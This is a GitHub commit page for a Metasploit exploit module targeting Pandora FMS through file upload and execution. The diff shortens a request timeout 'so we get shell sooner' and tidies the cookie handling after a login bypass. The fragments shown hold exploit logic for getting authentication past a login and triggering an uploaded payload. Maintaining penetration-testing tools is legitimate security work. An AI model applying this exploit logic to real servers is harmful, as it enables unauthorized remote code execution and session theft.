Skip to content

Commit 1ccef7d

Browse files
committed
Shorter timeout so we get shell sooner
The request to execute our payload will never return, so waiting for the default timeout (20 seconds) is pointless.
1 parent efe83a4 commit 1ccef7d

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

modules/exploits/multi/http/pandora_upload_exec.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -128,7 +128,6 @@ def exploit
128128
# fix if logic
129129
if res and res.code == 200
130130
if res.body.include?("Logout")
131-
cookies = res.headers['Set-Cookie']
132131
cookies = res.get_cookies
133132
print_status("Login Bypass Successful")
134133
print_status("cookie monster = " + cookies)
@@ -158,7 +157,7 @@ def exploit
158157
res = send_request_cgi({
159158
'method' => 'GET',
160159
'uri' => normalize_uri(base, 'images', "#{@fname}")
161-
})
160+
}, 1)
162161
rescue ::Rex::ConnectionError
163162
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
164163
end

0 commit comments

Comments
 (0)